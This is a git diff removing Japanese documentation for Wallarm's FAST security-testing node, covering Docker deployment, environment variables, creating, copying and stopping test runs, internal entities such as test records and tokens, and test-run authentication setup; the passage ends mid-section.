        - -**レポートモードでFAST nodeのDockerコンテナを実行するコマンド例:** - -``` -docker run --rm -e WALLARM_API_HOST=us1.api.wallarm.com -e WALLARM_API_TOKEN=qwe53UTb2 -e CI_MODE=report -e TEST_RUN_ID=9012 -v documents/reports:/opt/reports/ wallarm/fast -``` - -## レポートの取得 - -コマンドが正常に実行されると、テスト実行の概要がターミナルに表示されます: - ---8<-- "../include/fast/console-include/operations/node-in-ci-mode-report.md" - -レポートの生成が完了すると、`DIRECTORY_FOR_REPORTS`フォルダーに次のレポートファイルが作成されています: - -* `<テスト実行名>..txt` -* `<テスト実行名>..json` \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/copy-testrun.md b/docs/latest-ja/fast/operations/copy-testrun.md deleted file mode 100644 index 26c24c321f..0000000000 --- a/docs/latest-ja/fast/operations/copy-testrun.md +++ /dev/null @@ -1,104 +0,0 @@ -[doc-tr-information]: internals.md -[doc-testrecord]: internals.md#test-record -[doc-state-description]: check-testrun-status.md - -[doc-create-testrun]: create-testrun.md - -[img-similar-tr-item]: ../../images/fast/operations/common/copy-testrun/create-similar-testrun-item.png -[img-similar-tr-sidebar]: ../../images/fast/operations/common/copy-testrun/create-similar-testrun-sidebar.png - -# テスト実行のコピー - -!!! info "必要なデータ" - API呼び出しでテスト実行をコピーするには、次のデータが必要です: - - * トークン - * 既存のテストレコード識別子 - - Webインターフェイスでテスト実行をコピーするには、Wallarmアカウントが必要です。 - - トークンおよびテストレコードの詳細は[こちら][doc-tr-information]をご覧ください。 - - 本ドキュメントでは次の値を例として使用します: - - * `token_Qwe12345` をトークンとして使用します。 - * `rec_0001` をテストレコードとして使用します。 - -テスト実行をコピーする際には、既存の[テストレコード][doc-testrecord]を再利用します。 - -このテスト実行の作成方法は、すでに記録済みのベースラインリクエストを使用して対象アプリケーションをテストする必要がある場合に使用します。 - - -## テスト実行のコピーに関するルール - -テスト実行をコピーする際の留意点は次のとおりです: -* コピーしたテスト実行で使用するテストポリシーは任意に指定できます。このポリシーは元のテスト実行で使用したポリシーと異なっていてもかまいません。 -* 次の状態のテスト実行をコピーできます: `failed`, `interrupted`, `passed`, `paused`, `running`。これらのテスト実行の状態の説明は[こちら][doc-state-description]にあります。 -* ベースラインリクエストが1件も含まれていない空のテストレコードを使用してテスト実行をコピーすることはできません。 -* テストレコードにベースラインリクエストを記録中の場合、そのレコードはテスト実行のコピーに使用できません。 - - 未完了のテストレコードに基づいてテスト実行をコピーしようとすると、APIサーバーから`400`エラーコード（`Bad Request`）と、以下のようなエラーメッセージが返されます: - - ``` - { - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": rec_0001 - } - } - } - ``` - - 記録プロセスが停止されていない限り、Webインターフェイスからテスト実行をコピーすることはできません。 - -## API経由でテスト実行をコピーする - -テスト実行をコピーして実行するには、URL `https://us1.api.wallarm.com/v1/test_run` にPOSTリクエストを送信します: - ---8<-- "../include/fast/operations/api-copy-testrun.md" - -APIサーバーへのリクエストが成功すると、サーバーからのレスポンスが返されます。レスポンスには以下のような有用な情報が含まれます: - -1. `id`: テスト実行のコピーの識別子（例: `tr_1234`）。 - - テスト実行の実行ステータスを制御するには`id`パラメータの値が必要です。 - -2. `state`: テスト実行の状態。 - - コピー直後のテスト実行は`running`状態です。 - - `state`パラメータのすべての値の詳細な説明は[こちら][doc-state-description]をご覧ください。 - - -## Webインターフェイスでテスト実行をコピーする - -WallarmポータルのWebインターフェイスでテスト実行をコピーして実行するには: -1. Wallarmアカウントでポータルにログインし、「Test runs」タブに移動します。 -2. コピーするテスト実行を選択し、そのテスト実行の右側にあるアクションメニューを開きます。 -3. 「Create similar testrun」メニュー項目を選択します。 - - ![「Create similar test run」メニュー項目][img-similar-tr-item] - -4. 開いたサイドバーで次の項目を選択します: - * テスト実行のコピーの名前 - * テスト実行のコピーで使用するポリシー - * テスト実行のコピーを実行するノード - - ![「Test run」サイドバー][img-similar-tr-sidebar] - - 必要に応じて「Advanced settings」を選択して追加の設定を構成できます: - ---8<-- "../include/fast/test-run-adv-settings.md" - -5. 「Use baselines from ``」オプションがチェックされていることを確認します。 - - !!! info "テストレコードの再利用" - このオプションに表示されるのはテスト実行名ではなくテストレコード名ですのでご注意ください。 - - [テスト実行を作成する][doc-create-testrun]際に`test_record_name`パラメータを指定しない場合など、テストレコード名が省略されることはよくあります。この場合、テストレコード名はテスト実行名と同じになります。 - - 上図のコピー画面では、過去にこのテストレコードを使用したテスト実行の名前と一致しないテストレコード名が表示されています（`MY TEST RECORD`というテストレコードは`DEMO TEST RUN`というテスト実行で使用されました）。 - -6. 「Create and run」ボタンをクリックしてテスト実行を開始します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/create-node.md b/docs/latest-ja/fast/operations/create-node.md deleted file mode 100644 index b90e2aa9e5..0000000000 --- a/docs/latest-ja/fast/operations/create-node.md +++ /dev/null @@ -1,19 +0,0 @@ -[doc-about-token]: internals.md#token -[link-wl-portal-node-tab]: https://us1.my.wallarm.com/testing/nodes - - -# FASTノードの作成とトークンの取得 - -!!! info "追加情報" - FASTノードとトークンの詳細については[こちら][doc-about-token]を参照してください。 - -Wallarm cloudでFASTノードを作成するには、次の手順を実行します: -1. Wallarm portalの[“FAST: Nodes”セクション][link-wl-portal-node-tab]に移動します。 - - “FAST”セクションが利用できない場合は、まずFASTサブスクリプションを取得するために[sales@wallarm.com](mailto:sales@wallarm.com)にお問い合わせください。 -2. “Create FAST node”ボタンをクリックします。 -3. ノード名を入力し、“Create”ボタンをクリックします。 -4. ノードのトークンをコピーし、“OK”ボタンをクリックします。 - -!!! warning "トークンを扱う際の注意事項" - いかなるトークンの値も一般に公開することは強く非推奨です。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/create-testrun.md b/docs/latest-ja/fast/operations/create-testrun.md deleted file mode 100644 index 1724c547d8..0000000000 --- a/docs/latest-ja/fast/operations/create-testrun.md +++ /dev/null @@ -1,78 +0,0 @@ -[img-test-run-creation]: ../../images/fast/operations/common/create-testrun/test-run-create.png -[img-testrun-adv-settings]: ../../images/fast/operations/common/create-testrun/test-run-settings.png - -[doc-token-information]: internals.md#token -[doc-state-description]: check-testrun-status.md -[doc-copying-testrun]: copy-testrun.md -[doc-testrecord]: internals.md#test-record - -[link-stopping-recording-chapter]: stop-recording.md -[link-create-policy]: test-policy/general.md -[link-create-node]: create-node.md -[doc-inactivity-timeout]: internals.md#test-run - -# テストランの作成 - -!!! info "必要なデータ" - APIメソッドでテストランを作成するには、トークンが必要です。 - - Webインターフェイスでテストランを作成するには、Wallarmアカウントが必要です。 - - トークンの詳細情報は[こちら][doc-token-information]をご覧ください。 - - 本ドキュメントでは例として`token_Qwe12345`というトークン値を使用します。 - -テストランを作成すると、新しい[テストレコード][doc-testrecord]も同時に作成されます。 - -このテストランの作成方法は、ベースラインリクエストを記録しながら対象アプリケーションをテストする必要がある場合に使用します。 - -## Creating a Test Run via API - -テストランを作成するには、URL`https://us1.api.wallarm.com/v1/test_run`にPOSTリクエストを送信します: - ---8<-- "../include/fast/operations/api-create-testrun.md" - -APIサーバーへのリクエストが成功すると、サーバーからレスポンスが返されます。レスポンスには次のような有用な情報が含まれます: - -1. `id`: 新規作成されたテストランの識別子（例: `tr_1234`）。 - - FASTをCI/CDに統合するために必要な次の操作を行うには、`id`パラメータの値が必要です: - - 1. FASTノードが記録プロセスを開始するのを確認します。 - 2. ベースラインリクエストの記録プロセスを停止します。 - 3. FASTのセキュリティテストが完了するのを待ちます。 - -2. `state`: テストランの状態。 - - 新しく作成されたテストランは`running`状態です。 - `state`パラメータのすべての値の詳細な説明は[こちら][doc-state-description]をご覧ください。 - -3. `test_record_id`: 新規作成されたテストレコードの識別子（例: `rec_0001`）。すべてのベースラインリクエストはこのテストレコードに格納されます。 - -## Webインターフェイスでテストランを作成する - -Wallarmアカウントのインターフェイスからテストランを作成するには、次の手順に従います: - -1. EUクラウドの場合は[このリンク](https://my.wallarm.com/testing/testruns)、USクラウドの場合は[このリンク](https://us1.my.wallarm.com/testing/testruns)から、Wallarmアカウント > **Test runs**に移動します。 - -2. **Create test run**ボタンをクリックします。 - -3. テストランの名前を入力します。 - -4. **Test policy**ドロップダウンリストからテストポリシーを選択します。新しいテストポリシーを作成するには[こちらの手順][link-create-policy]に従います。また、デフォルトポリシーを使用することもできます。 - -5. **Node**ドロップダウンリストからFASTノードを選択します。FASTノードを作成するには[こちらの手順][link-create-node]に従います。 - - ![テストランの作成][img-test-run-creation] - -6. 必要に応じて**Advanced settings**を追加します。この設定ブロックには次の項目が含まれます: - ---8<-- "../include/fast/test-run-adv-settings.md" - - ![テストランのAdvanced settings][img-testrun-adv-settings] - -7. **Create and run**ボタンをクリックします。 - -## テストレコードの再利用 - -リクエスト送信元から対象アプリケーションにリクエストを送信し、[記録プロセスを停止][link-stopping-recording-chapter]した後、そのテストレコードを他のテストランで[再利用][doc-copying-testrun]できます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/env-variables.md b/docs/latest-ja/fast/operations/env-variables.md deleted file mode 100644 index e8a3c90887..0000000000 --- a/docs/latest-ja/fast/operations/env-variables.md +++ /dev/null @@ -1,71 +0,0 @@ -[doc-dsl-ext]: ../dsl/intro.md -[doc-record-mode]: ../poc/ci-mode-recording.md -[doc-test-mode]: ../poc/ci-mode-testing.md - -[anchor-allowed-hosts]: #limiting-the-number-of-requests-to-be-recorded - -# FAST nodeで使用する環境変数の一覧 - -FAST nodeの構成には多数のパラメータがあります。これらのパラメータの値は対応する環境変数で変更できます。 - -環境変数の値を設定し、それらの変数をFAST nodeに渡す方法は次のいずれかです。 -* `-e`引数を使用する - - ``` - docker run --name \ - -e = \ - ... - -e = \ - -p :8080 wallarm/fast - ``` - -* または、環境変数を含むファイルへのパスを指定する`--env-file`引数を使用する - - ``` - docker run --name \ - --env-file= \ - -p :8080 wallarm/fast - ``` - - このファイルには環境変数の一覧を1行に1変数で記載します: - - ``` - # 環境変数のサンプルファイル - - WALLARM_API_TOKEN=token_Qwe12345 # これはサンプル値です—実際のトークン値を使用してください - ALLOWED_HOSTS=google-gruyere.appspot.com # このドメインを宛先とする受信リクエストはテストレコードに書き込まれます - ``` - -設定可能なパラメータを以下の表に示します。 - -| パラメータ | 値 | 必須? | -|-------------------- | -------- | ----------- | -| `WALLARM_API_TOKEN` | Wallarm Cloudのトークンです。 | はい | -| `WALLARM_API_HOST` | Wallarm APIサーバのアドレスです。
        許容値:
        Wallarm US Cloudのサーバには`us1.api.wallarm.com`、
        Wallarm EU Cloudのサーバには`api.wallarm.com`です。 | はい | -| `ALLOWED_HOSTS` | 対象アプリケーションのホスト一覧です。これらのホストを宛先とする受信リクエストがテストレコードに書き込まれます。
        デフォルトでは、すべての受信リクエストが記録されます。
        詳細は[こちら][anchor-allowed-hosts]をご覧ください。| いいえ | -| `WALLARM_API_USE_SSL` | Wallarm APIサーバへの接続時にSSLを使用するかどうかを指定します。
        許容値: `true`と`false`。
        デフォルト値: `true`です。 | いいえ | -| `WORKERS` | ベースラインリクエストの処理とセキュリティテストを実行するスレッド数です。
        デフォルト値: `10`です。 | いいえ | -| `GIT_EXTENSIONS` | [カスタムFAST DSL拡張][doc-dsl-ext]を含むGitリポジトリへのリンクです（このリポジトリはFAST nodeコンテナからアクセス可能である必要があります）。 | いいえ | -| `CI_MODE` | CI/CDに統合する際のFAST nodeの動作モードです。
        許容値は次のとおりです:
        `recording`は[記録モード][doc-record-mode]、
        `testing`は[テストモード][doc-test-mode]です。 | いいえ | -| `BACKEND_HTTPS_PORTS` | 対象アプリケーションでデフォルト以外のポートを設定している場合に、アプリケーションが使用するHTTPSポート番号です。
        複数ポートを指定できます。例:
        `BACKEND_HTTPS_PORTS='443;3000;8091'`
        デフォルト値: `443`です。 | いいえ | -| `WALLARM_API_CA_VERIFY` | Wallarm APIサーバのCA証明書を検証するかどうかを指定します。
        許容値: `true`と`false`。
        デフォルト値: `false`です。 | いいえ | -| `CA_CERT` | FAST nodeで使用するCA証明書へのパスです。
        デフォルト値: `/etc/nginx/ssl/nginx.crt`です。 | いいえ | -| `CA_KEY` | FAST nodeで使用するCA秘密鍵へのパスです。
        デフォルト値: `/etc/nginx/ssl/nginx.key`です。 | いいえ | - - -## 記録対象リクエスト数の制限 - -デフォルトでは、FAST nodeはすべての受信リクエストをベースラインとして扱います。そのため、これらを記録し、それに基づくセキュリティテストを作成・実行します。ただし、本来ベースラインとして認識すべきでない不要なリクエストが、FAST nodeを経由して対象アプリケーションへ流入する場合があります。 - -対象アプリケーションを宛先としていないすべてのリクエストをフィルタリングして除外することで、FAST nodeが記録するリクエスト数を制限できます（なお、フィルタリングされたリクエストはFAST nodeがプロキシしますが、記録はしません）。この制限によりFAST nodeおよび対象アプリケーションへの負荷が軽減され、テスト処理が高速化します。この制限を適用するには、テスト中にリクエストの送信元がどのホストと通信するかを把握しておく必要があります。 - -環境変数`ALLOWED_HOSTS`を設定すると、ベースラインではないすべてのリクエストをフィルタリングできます。 - ---8<-- "../include/fast/operations/env-vars-allowed-hosts.md" - -FAST nodeはこの環境変数を次のように使用します: -* 受信リクエストの`Host`ヘッダーの値が`ALLOWED_HOSTS`に指定した値と一致する場合、FAST nodeはそのリクエストをベースラインと見なします。そのリクエストは記録され、プロキシされます。 -* それ以外のリクエストはFAST nodeを介してプロキシされますが、記録されません。 - -!!! info "ALLOWED_HOSTS環境変数の使用例" - 変数を`ALLOWED_HOSTS=google-gruyere.appspot.com`と定義した場合、`google-gruyere.appspot.com`ドメインを宛先とするリクエストはベースラインとして扱われます。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/internals.md b/docs/latest-ja/fast/operations/internals.md deleted file mode 100644 index e701c47f56..0000000000 --- a/docs/latest-ja/fast/operations/internals.md +++ /dev/null @@ -1,228 +0,0 @@ -[img-testpolicy-id]: ../../images/fast/operations/common/internals/policy-id.png -[img-execution-timeline-recording]: ../../images/fast/operations/en/internals/execution-timeline.png -[img-execution-timeline-no-recording]: ../../images/fast/operations/en/internals/execution-timeline-existing-testrecord.png -[img-testrecord]: ../../images/fast/operations/en/internals/testrecord-explained.png -[img-fast-node]: ../../images/fast/operations/common/internals/fast-node.png -[img-reuse-token]: ../../images/fast/operations/common/internals/reuse-token.png -[img-components-relations]: ../../images/fast/operations/common/internals/components-relations.png -[img-common-timeline-no-recording]: ../../images/fast/operations/en/internals/common-timeline-existing-testrecord.png - -[doc-ci-intro]: ../poc/integration-overview.md -[doc-node-deployment-api]: ../poc/node-deployment.md -[doc-node-deployment-ci-mode]: ../poc/ci-mode-recording.md -[doc-quick-start]: ../qsg/deployment-options.md -[doc-integration-overview]: ../poc/integration-overview.md - -[link-create-policy]: test-policy/general.md -[link-use-policy]: test-policy/using-policy.md -[doc-policy-in-detail]: test-policy/overview.md - -[anchor-testpolicy]: #fast-test-policy -[anchor-testrun]: #test-run -[anchor-token]: #token -[anchor-testrecord]: #test-record - -[doc-testpolicy-creation-example]: ../qsg/test-preparation.md#2-create-a-test-policy-targeted-at-xss-vulnerabilities -[doc-about-timeout]: create-testrun.md -[doc-node-deployment]: ../poc/node-deployment.md#deployment-of-the-docker-container-with-the-fast-node - -[link-wl-portal-new-policy]: https://us1.my.wallarm.com/testing/policies/new#general -[link-wl-portal-policy-tab]: https://us1.my.wallarm.com/testing/policies -[link-wl-portal-node-tab]: https://us1.my.wallarm.com/testing/nodes - -# FASTの動作 - ---8<-- "../include/fast/cloud-note.md" - -!!! info "本ドキュメントの内容に関する短い補足" - 以下に示すエンティティ間の関係および本章で説明するテストシナリオは、Wallarm APIを使用したテストに関するものです。この種のテストはすべてのエンティティを利用します。そのため、各エンティティがどのように相互作用するかについて包括的な洞察を提供できます。 - - FASTをCI/CDワークフローに統合する場合でも、これらのエンティティは変わりません。ただし、ケースにより手順の順序が異なる場合があります。詳細は[このドキュメント][doc-ci-intro]をお読みください。 - -FASTは以下のエンティティを使用します: - -* [テストレコード。][anchor-testrecord] -* [FASTテストポリシー。][anchor-testpolicy] -* [テストラン。][anchor-testrun] -* [トークン。][anchor-token] - -前述のエンティティ間には重要な関係がいくつかあります: -* テストポリシーとテストレコードは、複数のテストランやFASTノードで使用できます。 -* トークンはWallarm cloud内の単一のFASTノード、当該FASTノードを含む単一のDockerコンテナ、および単一のテストランに関連します。 -* トークンが他のFASTノードを含むDockerコンテナで使用中でない限り、既存のトークン値をFASTノードを含むDockerコンテナに渡すことができます。 -* 他のテストランが実行中のFASTノードに対して新しいテストランを作成すると、現在のテストランは停止され新しいテストランに置き換わります。 - -![コンポーネント間の関係][img-components-relations] - -## FASTで使用するエンティティ - -FASTノードは、リクエストソースから対象アプリケーションへのすべてのリクエストのプロキシとして動作します。Wallarmの用語では、これらのリクエストを*ベースラインリクエスト*と呼びます。 - -FASTノードがリクエストを受信すると、後でそれらに基づいてセキュリティテストを作成するために、特別な「テストレコード」オブジェクトに保存します。Wallarmの用語では、このプロセスを「ベースラインリクエストの記録」と呼びます。 - -ベースラインリクエストの記録後、FASTノードは[*テストポリシー*][anchor-testpolicy]に従ってセキュリティテストセットを作成します。次に、そのセキュリティテストセットを実行して、対象アプリケーションの脆弱性を評価します。 - -テストレコードにより、以前に記録したベースラインリクエストを再利用して、同じ対象アプリケーションまたは別の対象アプリケーションを再度テストできます。これは、テストレコード内のベースラインリクエストがアプリケーションのテストに適している場合にのみ可能です。 - - -### テストレコード - -FASTは、テストレコードに保存されたベースラインリクエストからセキュリティテストセットを作成します。 - -テストレコードにベースラインリクエストを投入するには、このテストレコードとFASTノードに結び付けられた[テストラン][anchor-testrun]を実行し、いくつかのベースラインリクエストをFASTノード経由で送信する必要があります。 - -あるいは、テストランを作成せずにテストレコードを投入することも可能です。その場合は、FASTノードを記録モードで起動します。詳細は[このドキュメント][doc-node-deployment-ci-mode]を参照してください。 - -テストレコードにリクエストが投入されていれば、被検アプリケーションがテストレコードに保存されたベースラインリクエストのサブセットで脆弱性評価できる場合、別のテストランでそのテストレコードを使用できます。 - -1つのテストレコードは、複数のFASTノードおよびテストランで利用できます。これは次のような場合に有用です: -* 同じ対象アプリケーションを再テストする。 -* 同一のベースラインリクエストで複数の対象アプリケーションを同時にテストする。 - -![テストレコードの操作][img-testrecord] - - -### FASTテストポリシー - -*テストポリシー*は、脆弱性検出プロセスを実施するための一連のルールを定義します。特に、アプリケーションをどの脆弱性タイプに対してテストするかを選択できます。加えて、ポリシーはセキュリティテストセット作成時に処理対象とするベースラインリクエスト内のどのパラメータが適格かを決定します。これらのデータを基に、FASTは対象アプリケーションが悪用可能かどうかを判定するためのテストリクエストを生成します。 - -新しいポリシーを[作成][link-create-policy]することも、既存のポリシーを[使用][link-use-policy]することもできます。 - -!!! info "適切なテストポリシーの選択" - テストポリシーの選択は、被検アプリケーションの動作に依存します。テストする各アプリケーションごとに個別のテストポリシーを作成することを推奨します。 - -!!! info "追加情報" - - * クイックスタートガイドの[テストポリシー例][doc-testpolicy-creation-example] - * [テストポリシーの詳細][doc-policy-in-detail] - -### テストラン - -*テストラン*は、脆弱性テストプロセスの1回の反復を表します。 - -テストランには次の情報が含まれます: - -* [テストポリシー][anchor-testpolicy]の識別子 -* [テストレコード][anchor-testrecord]の識別子 - -FASTノードは、対象アプリケーションのセキュリティテストを実施する際にこれらの値を使用します。 - -各テストランは単一のFASTノードと密接に結び付いています。あるFASTノードでテストラン`A`が進行中に同じノード向けの新しいテストラン`B`を作成すると、テストラン`A`の実行は中断され、`B`に置き換わります。 - -テストランは、次の2つの異なるテストシナリオで作成できます: -* 1つ目のシナリオでは、対象アプリケーションの脆弱性テストとベースラインリクエストの記録（新しいテストレコードへの）を同時に行います。ベースラインリクエストを記録するには、リクエストソースから対象アプリケーションへのHTTP/HTTPSリクエストがFASTノードを経由して流れる必要があります。 - - 本ガイドでは、このシナリオに対するテストランの作成を「テストランの作成」と呼びます。 - -* 2つ目のシナリオでは、既存の空ではないテストレコードから抽出したベースラインリクエストを用いて、対象アプリケーションの脆弱性テストを行います。このシナリオでは、リクエストソースをデプロイする必要はありません。 - - 本ガイドでは、このシナリオに対するテストランの作成を「テストランのコピー」と呼びます。 - -テストランを新規作成またはコピーすると、その実行は直ちに開始されます。採用するテストシナリオに応じて、実行プロセスは異なる手順に従います（以下参照）。 - -### テストランの実行フロー（ベースラインリクエストの記録が行われる場合） - -テストランを作成すると、その実行は直ちに開始され、以下の手順に従います: - -1. FASTノードはテストランを待機します。 - - FASTノードがテストランの開始を検知すると、テストランからテストポリシーとテストレコードの識別子を取得します。 - -2. 識別子を取得すると、*ベースラインリクエストの記録プロセス*が開始されます。 - - これでFASTノードは、リクエストソースから対象アプリケーションへのリクエストを受け取る準備が整います。 - -3. 記録が有効になったら、既存のテストの実行を開始します。HTTPおよびHTTPSリクエストはFASTノードを経由して送信され、FASTノードはそれらをベースラインリクエストとして認識します。 - - すべてのベースラインリクエストは、テストランに対応するテストレコードに保存されます。 - -4. テストの実行が完了したら、記録プロセスを停止できます。 - - テストランの作成時には特別なタイムアウト値が設定されます。これは、新たなベースラインリクエストが到着しない場合に、FASTが記録プロセスを停止するまでどのくらい待機するかを決定します（[`inactivity_timeout`][doc-about-timeout]パラメータ）。 - - 記録プロセスを手動で停止しない場合は、次のようになります: - - * FASTのセキュリティテストがすでに完了していても、タイムアウト値が期限切れになるまでテストランは実行を継続します。 - * このテストランが停止するまで、他のテストランはテストレコードを再利用できません。 - - これ以上待機中のベースラインリクエストがない場合は、FASTノード上で記録プロセスを停止できます。次の点に注意してください: - - * セキュリティテストの作成と実行のプロセスは停止しません。対象アプリケーションの脆弱性評価が完了したときにテストランの実行が停止します。この挙動は、CI/CDジョブの実行時間を短縮するのに役立ちます。 - * 記録が停止されると、他のテストランはテストレコードを再利用できるようになります。 - -5. FASTノードは、受信した各ベースラインリクエストに基づいて1つ以上のテストリクエストを作成します（ベースラインリクエストが適用されたテストポリシーを満たす場合に限ります）。 - -6. FASTノードは、テストリクエストを対象アプリケーションに送信して実行します。 - -ベースラインリクエストの記録プロセスを停止しても、テストリクエストの作成および実行プロセスには影響しません。 - -ベースラインリクエストの記録と、FASTセキュリティテストの作成および実行のプロセスは並行して進行します: - -![テストランの実行フロー（ベースラインリクエストの記録あり）][img-execution-timeline-recording] - -注記: 上の図は[FASTクイックスタートガイド][doc-quick-start]で説明しているフローを示しています。ベースラインリクエストの記録を伴うフローは、手動のセキュリティテストにも、CI/CDツールを用いた自動セキュリティテストにも適しています。 - -このシナリオでは、テストランを操作するためにWallarm APIが必要です。詳細は[このドキュメント][doc-node-deployment-api]を参照してください。 - - -### テストランの実行フロー（事前に記録されたベースラインリクエストを使用する場合） - -テストランをコピーすると、その実行は直ちに開始され、以下の手順に従います: - -1. FASTノードはテストランを待機します。 - - FASTノードがテストランの開始を検知すると、テストランからテストポリシーとテストレコードの識別子を取得します。 - -2. 識別子を取得後、ノードはテストレコードからベースラインリクエストを抽出します。 - -3. FASTノードは、抽出した各ベースラインリクエストに基づいて1つ以上のテストリクエストを作成します（ベースラインリクエストが適用されたテストポリシーを満たす場合に限ります）。 - -4. FASTノードは、テストリクエストを対象アプリケーションに送信して実行します。 - -ベースラインリクエストの抽出は、FASTセキュリティテストの作成および実行に先立って行われます: - -![テストランの実行フロー（事前記録済みベースラインリクエストの使用）][img-execution-timeline-no-recording] - -なお、この実行フローは[FASTクイックスタートガイド][doc-quick-start]で使用されているものです。事前に記録されたベースラインリクエストを用いるフローは、CI/CDツールを用いた自動セキュリティテストに適しています。 - -このシナリオでは、テストランの操作にWallarm APIまたはCIモードのFASTノードを使用できます。詳細は[このドキュメント][doc-integration-overview]を参照してください。 - -以下の図は、上記のタイムラインに準拠した最も一般的なCI/CDワークフローを示します: - -![テストランの実行フロー（CIモード）][img-common-timeline-no-recording] - - -## テストランの操作 - -本ガイドを読むことで、APIコールを使用してテストランの実行プロセスを管理する方法を学べます。具体的には次のとおりです: -* リクエストソースからのリクエストがもうない場合に、ベースラインリクエストの記録プロセスを停止する方法。 -* テストランの実行ステータスを確認する方法。 - -そのようなAPIコールを実行し、テストランをFASTノードに結び付けるには、[*トークン*][anchor-token]を取得する必要があります。 - -### トークン - -FASTノードは次の要素で構成されます: -* FASTソフトウェアが稼働中のDockerコンテナ。 - - ここでトラフィックのプロキシ、セキュリティテストの作成、実行のプロセスが行われます。 - -* Wallarm cloudのFASTノード。 - -トークンは、稼働中のDockerコンテナとクラウド内のFASTノードを結び付けます: - -![FASTノード][img-fast-node] - -FASTノードをデプロイするには、次の手順を実施します: -1. [Wallarm portal][link-wl-portal-node-tab]を使用してWallarm cloudにFASTノードを作成します。発行されたトークンをコピーします。 -2. ノードを含むDockerコンテナをデプロイし、トークンの値をコンテナに渡します（このプロセスの詳細は[こちら][doc-node-deployment]に記載しています）。 - -トークンには次の役割もあります: -* テストランとFASTノードを接続すること。 -* APIコールによりテストランの実行プロセスを管理できるようにすること。 - -必要に応じてWallarm cloudにいくつでもFASTノードを作成し、各ノードのトークンを取得できます。例えば、FASTが必要なCI/CDジョブが複数ある場合、各ジョブ用にクラウドでFASTノードを起動できます。 - -以前に取得したトークンは、他のアクティブなFASTノードを含むDockerコンテナで使用中でなければ再利用できます（例: 同じトークンを使用するノードを含むいずれかのDockerコンテナが停止または削除されている場合）: - -![トークンの再利用][img-reuse-token] \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/stop-recording.md b/docs/latest-ja/fast/operations/stop-recording.md deleted file mode 100644 index 116a7bed92..0000000000 --- a/docs/latest-ja/fast/operations/stop-recording.md +++ /dev/null @@ -1,59 +0,0 @@ -[img-stop-recording-item]: ../../images/fast/operations/common/stop-recording/stop-recording-gui.png - -[doc-about-tr-token]: internals.md -[doc-testrun-copying-api]: copy-testrun.md#copying-a-test-run-via-an-api -[doc-testrun-copying-gui]: copy-testrun.md#copying-a-test-run-via-web-interface - -[link-stop-explained]: internals.md#test-run-execution-flow-baseline-requests-recording-takes-place - - -# 記録プロセスの停止 - -!!! info "必要なデータ" - API経由で記録を停止するには、次のデータが必要です: - - * トークン - * テスト実行の識別子 - - Webインターフェイス経由で記録を停止するには、Wallarmアカウントが必要です。 - - テスト実行とトークンの詳細情報は[こちら][doc-about-tr-token]で確認できます。 - - 本ドキュメントでは、以下の値を例として使用します: - - * `token_Qwe12345`（トークンの例） - * `tr_1234`（テスト実行の識別子の例） - -ベースラインリクエストの記録を停止する必要性については[リンク][link-stop-explained]で説明しています。 - -## API経由での記録プロセスの停止 - -記録プロセスを停止するには、URL `https://us1.api.wallarm.com/v1/test_run/test_run_id/action/stop` にPOSTリクエストを送信します: - ---8<-- "../include/fast/operations/api-stop-recording.md" - -APIサーバーへのリクエストが成功すると、サーバーからレスポンスが返されます。レスポンスには次の有用な情報が含まれます: -* 記録プロセスの状態（`recording`パラメータの値）。 -* 対応するテストレコードの識別子（`test_record_id`パラメータ）。 - -パラメータの値が`false`であれば、停止は成功です。 - -停止が成功した場合は、`test_record_id`の識別子を持つテストレコードを使用して[テスト実行をコピー][doc-testrun-copying-api]できます。 - -## Webインターフェイス経由での記録プロセスの停止 - -Webインターフェイスで記録プロセスを停止するには、次の手順に従います: - -1. EUクラウドの場合は[このリンク](https://my.wallarm.com/testing/testruns)、USクラウドの場合は[このリンク](https://us1.my.wallarm.com/testing/testruns)から、Wallarmアカウント > **Test runs**に移動します。 - -2. 記録を停止する対象のテスト実行を選択し、アクションメニューを開きます。 - -3. **Stop recording**を選択します。 - - ![Webインターフェイスでの記録停止][img-stop-recording-item] - -記録が停止されると、**Baseline req.**列の左側にあるREQインジケーターがオフになります。 - -テストレコードのIDは**Test record name/Test record ID**列に表示されます。 - -必要に応じて、Webインターフェイスを使用して[このテスト実行をコピー][doc-testrun-copying-gui]でき、新しいテストは前述のテストレコードを再利用します。 \ No newline at end of file diff --git a/docs/latest-ja/fast/operations/test-authentication.md b/docs/latest-ja/fast/operations/test-authentication.md deleted file mode 100644 index 5b958d8940..0000000000 --- a/docs/latest-ja/fast/operations/test-authentication.md +++ /dev/null @@ -1,52 +0,0 @@ -# テスト実行の認証設定 - -アプリケーションへのリクエストに認証が必要な場合、セキュリティテストにも認証が必要です。この手順では、テスト実行を正常に認証するために資格情報を渡す方法を示します。 - -## テスト実行の認証を設定する方法 - -テスト実行の認証のために資格情報を渡すには、FASTノードのDockerコンテナを[デプロイ](../qsg/deployment.md#4-deploy-the-fast-node-docker-container)する前に次の手順を実行します: - -1. `.yml`または`.yaml`拡張子のローカルファイルを作成します。例: `auth_dsl.yaml`。 -2. 作成したファイルに[FAST DSL](../dsl/intro.md)の構文を使用して認証パラメータを次のように定義します: - 1. ファイルに[`modify`](../dsl/phase-modify.md)セクションを追加します。 - 2. `modify`セクションで、認証パラメータが渡されるリクエストの箇所を指定します。リクエストの箇所は[ポイント](../dsl/points/basics.md)形式で指定する必要があります。 - - !!! info "tokenパラメータのポイントの例" - リクエストの認証にトークンが使用され、その値が`Cookie`リクエストヘッダーの`token`パラメータで渡される場合、ポイントは`HEADER_COOKIE_COOKIE_token_value`のようになります。 - - 3. 認証パラメータの値を次のように指定します: - - ``` - modify: - - HEADER_COOKIE_COOKIE_token_value: "fl49qam93mfu0uhgh00gilssj2" - ``` - - 使用する認証パラメータの数に制限はありません。 -3. コンテナをデプロイする際に`-v {path_to_folder}:/opt/dsl_auths`オプションを使用して、`.yml`/`.yaml`ファイルを含むディレクトリをFASTノードのDockerコンテナにマウントします。例: - ``` - docker run --name fast-proxy -e WALLARM_API_TOKEN='dfjyt8C79DxZptWwQS3/0RHiuJLNFrqTdgCIzPPZq' -v /home/username/dsl_auth:/opt/dsl_auths -p 8080:8080 wallarm/fast - ``` - - !!! warning 